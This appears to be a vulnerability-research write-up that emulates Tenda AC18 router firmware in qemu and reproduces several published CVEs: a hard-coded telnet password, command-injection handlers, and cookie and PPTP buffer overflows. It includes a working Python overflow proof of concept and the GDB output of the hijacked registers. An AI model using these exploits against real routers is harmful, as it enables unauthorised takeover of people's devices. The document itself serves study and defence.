Tenda AC18 AC1900 Router

Objectives:

Reverse engineering the firmware of Tenda AC18 AC1900 Smart Dual-Band Gigabit WiFi Router and reproduce some CVE vulnerabilities in the firmware.

Environment Set up

Retrieve Firmware

Download router firmware from Tenda’s official English website.

Version number: V15.03.3.10_EN
Update Date: 2021/2/5

Extract firmware from .rar package, then unpack the firmware with binwalk

1
binwalk -Me AC18.bin

Go through the directory generated by binwalk, there exists a directory named squashfs-root, which is the file system of the router.

qemu User-Mode Emulation

Network configuration

The router’s httpd binary will check the IP address on br0 device and listen on this IP to receive http request from the user. We have to make a virtual network bridge br0 for it.

1
2
3
4
5
6
7
# eth0 is the current network card
sudo apt-get install bridge-utils
sudo apt-get install uml-utilities
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0

qemu setup

Install qemu-user-satic

1
sudo apt install qemu-user-static

After installation, copy it to the directory under squashfs-root, then launch the httpd service.

1
2
3
4
5
cp $(which qemu-arm-static) ./qemu
# without gdb debugging
sudo chroot ./ ./qemu ./bin/httpd
# with gdb debugging on port 1234
sudo chroot ./ ./qemu -g 1234 ./bin/httpd

qemu System-Mode Emulation

Network configuration
Similar to the network configuration in user mode, after setup the network bridge br0, we need to create a device called tap which is used as an interface to connect to network bridge br0.

1
tap0    <--br0 bridge-->   eth0    ---->    Internet

Here is the configuration script from the reference_1 and reference_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash

# setup bridge
sudo ifconfig eth0 down
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo brctl stp br0 on
sudo brctl setfd br0 2
sudo brctl sethello br0 1
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig eth0 0.0.0.0 promisc up
sudo dhclient br0
sudo dhclient eth0
sudo brctl show br0
sudo brctl showstp br0

# set up tun/tap
sudo tunctl -t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo ifconfig tap0 10.0.4.100/24 up
sudo ifconfig tap0 netmask 255.255.252.0
sudo brctl showstp br0

Attention: Make sure your eth0, br0, tap0 are all in the same network segment as shown below (eth0 and br0 may or may not have the same IP address):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
br0: flags=4419<UP,BROADCAST,RUNNING,PROMISC,MULTICAST>  mtu 1500
inet 10.0.4.15 netmask 255.255.252.0 broadcast 10.0.7.255
inet6 fe80::5054:ff:fe69:5308 prefixlen 64 scopeid 0x20<link>
ether 52:54:00:69:53:08 txqueuelen 1000 (Ethernet)
RX packets 10605 bytes 2776827 (2.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10598 bytes 2024056 (2.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth0: flags=4419<UP,BROADCAST,RUNNING,PROMISC,MULTICAST> mtu 1500
inet 10.0.4.15 netmask 255.255.252.0 broadcast 10.0.7.255
inet6 fe80::5054:ff:fe69:5308 prefixlen 64 scopeid 0x20<link>
ether 52:54:00:69:53:08 txqueuelen 1000 (Ethernet)
RX packets 5808990 bytes 1143337092 (1.1 GB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5506112 bytes 906286000 (906.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 492973 bytes 46099384 (46.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 492973 bytes 46099384 (46.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tap0: flags=4419<UP,BROADCAST,RUNNING,PROMISC,MULTICAST> mtu 1500
inet 10.0.4.100 netmask 255.255.252.0 broadcast 10.0.7.255
inet6 fe80::e008:89ff:fe7f:3e70 prefixlen 64 scopeid 0x20<link>
ether e2:08:89:7f:3e:70 txqueuelen 1000 (Ethernet)
RX packets 33 bytes 7594 (7.5 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1184 bytes 62110 (62.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

qemu setup

Then we may start up the qemu system as our wish.

1
2
3
4
5
6
7
8
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

After launch the qemu system emulation, don’t forget to set up IP address in the virtual machine also in the same network segment.

1
ifconfig eth0 10.0.4.76/24 up

post setup

After setting up all network configurations, now is time to think about how to run the router firmware in the qemu system.

We may first download gdbserver from githubif we would like to debug in the router.

1
2
3
4
5
6
7
8
9
10
11
# host machine
tar -zcvf ./squashfs-root.tar.gz ./squashfs-root/

# virtual machine
tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz
mount -o bind /dev /root/squashfs-root/dev
mount -t proc /proc /root/squashfs-root/proc
chroot /root/squashfs-root sh

brctl addbr br0
ifconfig br0 10.0.4.76/24 up

Patch Executable File

After launching the vulnerable service in /bin/httpd, we may see that it gets stuck after printing some welcome message.

1
2
3
4
5
Yes:

****** WeLoveLinux******

Welcome to ...

Search the string in IDA and locate at the function sub_2DD04 (I rename it to main because it is the only function gets called in _start and __uClibc_main). qemu’s virtual network environment unable to pass the network check presented in the firmware (if failed, sleep forever), so we can just patch it to bypass.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// original
...
puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ...");
init_sig_handler();
while (check_network((int)v19) <= 0) {
// sleep forever
sleep(1u);
}
v4 = sleep(1u);
if (ConnectCfm(v4)) {
// continue
} else {
// fail
}
...

// patched
...
puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ...");
init_sig_handler();
check_network((int)v19); // patched, to bypass the checks
v4 = sleep(1u);
ConnectCfm(v4); // patched, to bypass the checks
// continue
...

Assembly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
loc_2DDE8
SUB R3, R11, #-var_B4
MOV R0, R3
BL check_network
MOV R3, #1 ; Keypatch modified this from:
; MOV R3, R0
CMP R3, #0
BGT loc_2DE0C

...

loc_2DE0C ; seconds
MOV R0, #1
BL sleep
BL ConnectCfm
MOV R3, #1 ; Keypatch modified this from:
; MOV R3, R0
CMP R3, #0
BNE loc_2DE3C

After patching the vulnerable executable file, we are still unable to access the web content because the /webroot/ directory is empty. We have to migrate /webroot_ro/ to /webroot/.

1
cp -r /webroot_ro/* /webroot/

Finally, we are good to go.

Weak Password

CVE-2018-5768 & CVE-2018-5770

CVE-2018-5770 is an issue discovered on Tenda AC15, however, the service provider didn’t fix it in the firmware of AC18 devices 3 years after CVE disclosure.

This vulnerability allows unauthenticated attackers to launch telnet service and connect it with the default password (addressed in CVE-2018-5768) result owning root privilege of the router.

In function sub_41290, we have a registering of handlers for different URLs to start different services, and one of them is telnet:

1
2
3
4
5
6
7
LDR             R3, =(aTelnet - 0xE4560) ; "telnet"
ADD R3, R4, R3 ; "telnet"
MOV R0, R3
LDR R3, =(TendaTelnet_ptr - 0xE4560)
LDR R3, [R4,R3] ; TendaTelnet
MOV R1, R3
BL sub_16AB4

Go deep inside the TendaTelnet function, it will kill the existed one and relaunch a new telnet service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall TendaTelnet(int a1)
{
char v3[32]; // [sp+10h] [bp-12Ch] BYREF
char s[268]; // [sp+30h] [bp-10Ch] BYREF

memset(s, 0, 0x100u);
memset(v3, 0, sizeof(v3));
GetValue("lan.ip", v3);
system("killall -9 telnetd");
doSystemCmd("telnetd -b %s &", v3);
sprintf(s, "op=%d,wl_rate=%d,index=1", 14, 24);
send_msg_to_netctrl(19, s);
sub_2BCF0(a1, "load telnetd success.");
return sub_2C238(a1, 200);
}

In R7WebsSecurityHandler, we then have the code that handles parsing requests. Which only needs a simple password admin (after base-64 decode) to log in.

1
2
(strncmp(s1, "/goform/telnet", 0xEu) 
|| g_Pass[0] && strcmp(g_Pass, "YWRtaW4="))

Therefore, we are able to successfully login to the telnet service of the router and gain root privileges

Command Injection

CVE-2018-16334

Similar to CVE-2020-10987, this function can definitely execute the command as the attacker wish once they get the username and password in the router.

After some search, this vulnerability was also assigned a CVE number CVE-2018-16334.

1
2
3
4
5
6
7
8
9
int __fastcall formWriteFacMac(_DWORD *a1)
{
const char *user_input; // [sp+14h] [bp-10h]

user_input = (const char *)get_user_input((int)a1, (int)"mac", (int)"00:01:02:11:22:33");
sub_2BCF0((int)a1, "modify mac only.");
doSystemCmd("cfm mac %s", user_input);
return sub_2C238(a1, 200);
}

From the pseudo-code above we can clearly see the logic that it takes the user input and then concatenate it to the command. We can construct payload as below.

WriteFacMac_payload

In the qemu-system emulation, we have:

1
sh: asjdfo: not found

CVE-2020-15916

This function is mentioned in CVE-2020-15916, which directly receives parameters from lan.ip and injects it into the command line argument.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall TendaTelnet(int a1)
{
char v3[32]; // [sp+10h] [bp-12Ch] BYREF
char s[268]; // [sp+30h] [bp-10Ch] BYREF

memset(s, 0, 0x100u);
memset(v3, 0, sizeof(v3));
GetValue("lan.ip", v3);
system("killall -9 telnetd");
doSystemCmd("telnetd -b %s &", v3);
sprintf(s, "op=%d,wl_rate=%d,index=1", 14, 24);
send_msg_to_netctrl(19, s);
sub_2BCF0(a1, "load telnetd success.");
return sub_2C238(a1, 200);
}

CVE-2022-28557

Similar to CVE-2018-16334, we can also exploit formSetSambaConf function to achieve command execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int __fastcall formSetSambaConf(_DWORD *a1)
{
int v2; // r0
char s[64]; // [sp+10h] [bp-6Ch] BYREF
void *v5; // [sp+50h] [bp-2Ch]
void *v6; // [sp+54h] [bp-28h]
void *v7; // [sp+58h] [bp-24h]
const char *v8; // [sp+5Ch] [bp-20h]
char *s1; // [sp+60h] [bp-1Ch]
void *v10; // [sp+64h] [bp-18h]
void *v11; // [sp+68h] [bp-14h]
void *user_input; // [sp+6Ch] [bp-10h]

memset(s, 0, sizeof(s));
user_input = get_user_input((int)a1, (int)"password", (int)"admin");
v11 = get_user_input((int)a1, (int)"premitEn", (int)"0");
v10 = get_user_input((int)a1, (int)"internetPort", (int)"21");
s1 = (char *)get_user_input((int)a1, (int)"action", (int)&unk_D8B9C);
v8 = (const char *)get_user_input((int)a1, (int)"usbName", (int)&unk_D8B9C);
v7 = get_user_input((int)a1, (int)"guestpwd", (int)&unk_D8B9C);
v6 = get_user_input((int)a1, (int)"guestuser", (int)&unk_D8B9C);
v5 = get_user_input((int)a1, (int)"guestaccess", (int)&unk_D8B9C);
if ( !strcmp(s1, "del") )
{
doSystemCmd("/usr/sbin/usb umount %s", v8);
sub_2BCF0((int)a1, "HTTP/1.0 200 OK\r\n\r\n");
sub_2BCF0((int)a1, "{\"errCode\":0}");
return sub_2C238(a1, 200);
}
else
{
GetValue("usb.samba.guest.user", s);
if ( s[0] )
doSystemCmd("busybox deluser %s", s);
SetValue("usb.samba.pwd", user_input);
SetValue("usb.samba.guest.user", v6);
SetValue("usb.samba.guest.pwd", v7);
SetValue("usb.samba.guest.acess", v5);
SetValue("usb.ftp.pwd", user_input);
SetValue("usb.ftp.guest.user", v6);
SetValue("usb.ftp.guest.pwd", v7);
SetValue("usb.ftp.guest.acess", v5);
SetValue("usb.ftp.remote.acess", v11);
SetValue("usb.ftp.remote.port", v10);
GetValue("usb.samba.enable", s);
if ( !strcmp(s, "1") )
doSystemCmd("cfm post netctrl %d?op=%d", 42, 3);
else
doSystemCmd("cfm post netctrl %d?op=%d", 42, 2);
GetValue("usb.ftp.enable", s);
if ( !strcmp(s, "1") )
v2 = doSystemCmd("cfm post netctrl %d?op=%d", 43, 3);
else
v2 = doSystemCmd("cfm post netctrl %d?op=%d", 43, 2);
CommitCfm(v2);
sub_2BCF0((int)a1, "HTTP/1.0 200 OK\r\n\r\n");
sub_2BCF0((int)a1, "{\"errCode\":0}");
return sub_2C238(a1, 200);
}
}

Here is the payload:

SetSambaCfg_payload

qemu-system emulation respond with:

1
sh: asdf: not found

Buffer Overflow

CVE-2018-5767

Reference from CVE-2018-5767, there is an unchecked sscanf read in the request package’s cookie section which happened in R7WebsSecurityHandler function.

To reach the vulnerable section, we must pass a bunch of checks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
if ( strncmp(url, "/public/", 8u)
&& strncmp(url, "/lang/", 6u)
&& !strstr(url, "img/main-logo.png")
&& !strstr(url, "reasy-ui-1.0.3.js")
&& strncmp(url, "/favicon.ico", 0xCu)
&& *(_DWORD *)(a1 + 152)
&& strncmp(url, "/kns-query", 0xAu)
&& strncmp(url, "/wdinfo.php", 0xBu)
&& (strlen(url) != 1 || *url != 47)
&& (strncmp(url, "/goform/telnet", 0xEu) || g_Pass[0] && strcmp(g_Pass, "YWRtaW4="))//
// CVE-2018-5770 Unauthenticated Start of Telnetd
// CVE-2018-5768 Hard Coded Accounts
&& strncmp(url, "/goform/fast_setting", 0x14u)
&& strncmp(url, "/goform/ate", 0xBu)
&& strncmp(url, "/goform/InsertWhite", 0x13u)
&& strncmp(url, "/yun_safe.html", 0xEu)
&& strncmp(url, "/goform/getWanConnectStatus", 0x1Bu)
&& strncmp(url, "/goform/getProduct", 0x12u)
&& strncmp(url, "/goform/getRebootStatus", 0x17u)
&& strncmp(url, "/redirect.html", 0xEu)
&& (i <= 2 || strncmp(url, "/loginerr.html", 0xEu)) )
{
// other code
if ( !strncmp(url, "/index.html", 0xBu) && GetValue("ali.reset.cfg", nptr) )
{
if ( strcmp(nptr, "1") )
sub_2B730(a1, "/");
return 0;
}
memcpy(s, url, 0xFFu);
v42 = strchr(s, '?');
if ( v42 )
*v42 = 0;
// !! vulnerable !!
if ( *(_DWORD *)(a1 + 184) )
{
v44 = strstr(*(const char **)(a1 + 184), "password=");// sscanf read from request's without any limit
if ( v44 )
sscanf(v44, "%*[^=]=%[^;];*", v34);
else
sscanf(*(const char **)(a1 + 184), "%*[^=]=%[^;];*", v34);
}
}
return 0;

This shows that url cannot be empty, or equal to \, or have a length equal to 1, or equal to any other strings shown in the big strcmp section.

After entering the if section, url also cannot be inde.html.

Finally enter the if the section that sscanf reads the user input, if we construct the payload properly, it can cause buffer overflow.

Here is a simple POC:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python

from pwn import *
import requests


ip = "10.10.10.1"
url = "http://%s/goform/execCommand" % ip
cookies = {"Cookie" : "password=" + "A" * 456 + "BBBB"}
ret = requests.get(url=url,cookies=cookies)
print(ret.text)

GDB view (successfully hijack the control flow to 0x42424242):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 R0   0x0
*R1 0xff605268 <- 0
R2 0x0
R3 0x0
*R4 0x41414141 ('AAAA')
*R5 0x41414141 ('AAAA')
*R6 0x41414141 ('AAAA')
*R7 0x41414141 ('AAAA')
*R8 0xe5d0 <- mov ip, sp /* 0xe1a0c00d */
*R9 0x2dd04 <- push {r4, fp, lr} /* 0xe92d4810 */
*R10 0xfffef6b8 <- 0
*R11 0x41414141 ('AAAA')
*R12 0xff74dedc -> 0xff743a50 <- mov r3, r0 /* 0xe1a03000 */
*SP 0xfffeec58 -> 0x103f00 <- ldrbvs r0, [r0, r0]! /* 0x67f00000 */
*PC 0x42424242 ('BBBB')

CVE-2022-28556

This vulnerability happened in the function formSetPPTPServer. It uses sscanf to format the data from the HTTP requests. However, it doesn’t correctly limit the length of the input.

It first gets the parameter of serverEn, startIp, endIp from the post request. Then, it checks if serverEn = 0, if not, then check if serverEn = 1, if it equals 1, and if both startIp and endIp have data in it, the control flow will reach the vulnerable sscanf part.

SetPptpServerCfg_code1

SetPptpServerCfg_code2

So the poc is quite simple, satisfied all requirements above and crash the process.

SetPptpServerCfg_poc

Reference

https://www.tendacn.com/us/download/detail-3852.html

https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68

https://www.anquanke.com/post/id/213416

https://fidusinfosec.com/tenda-ac15-unauthenticated-telnetd-start-cve-2018-5770/

https://nosec.org/home/detail/4634.html

https://www.anquanke.com/post/id/204403

https://www.anquanke.com/post/id/231445

https://xz.aliyun.com/t/7357

https://wzt.ac.cn/2021/05/28/QEMU-networking/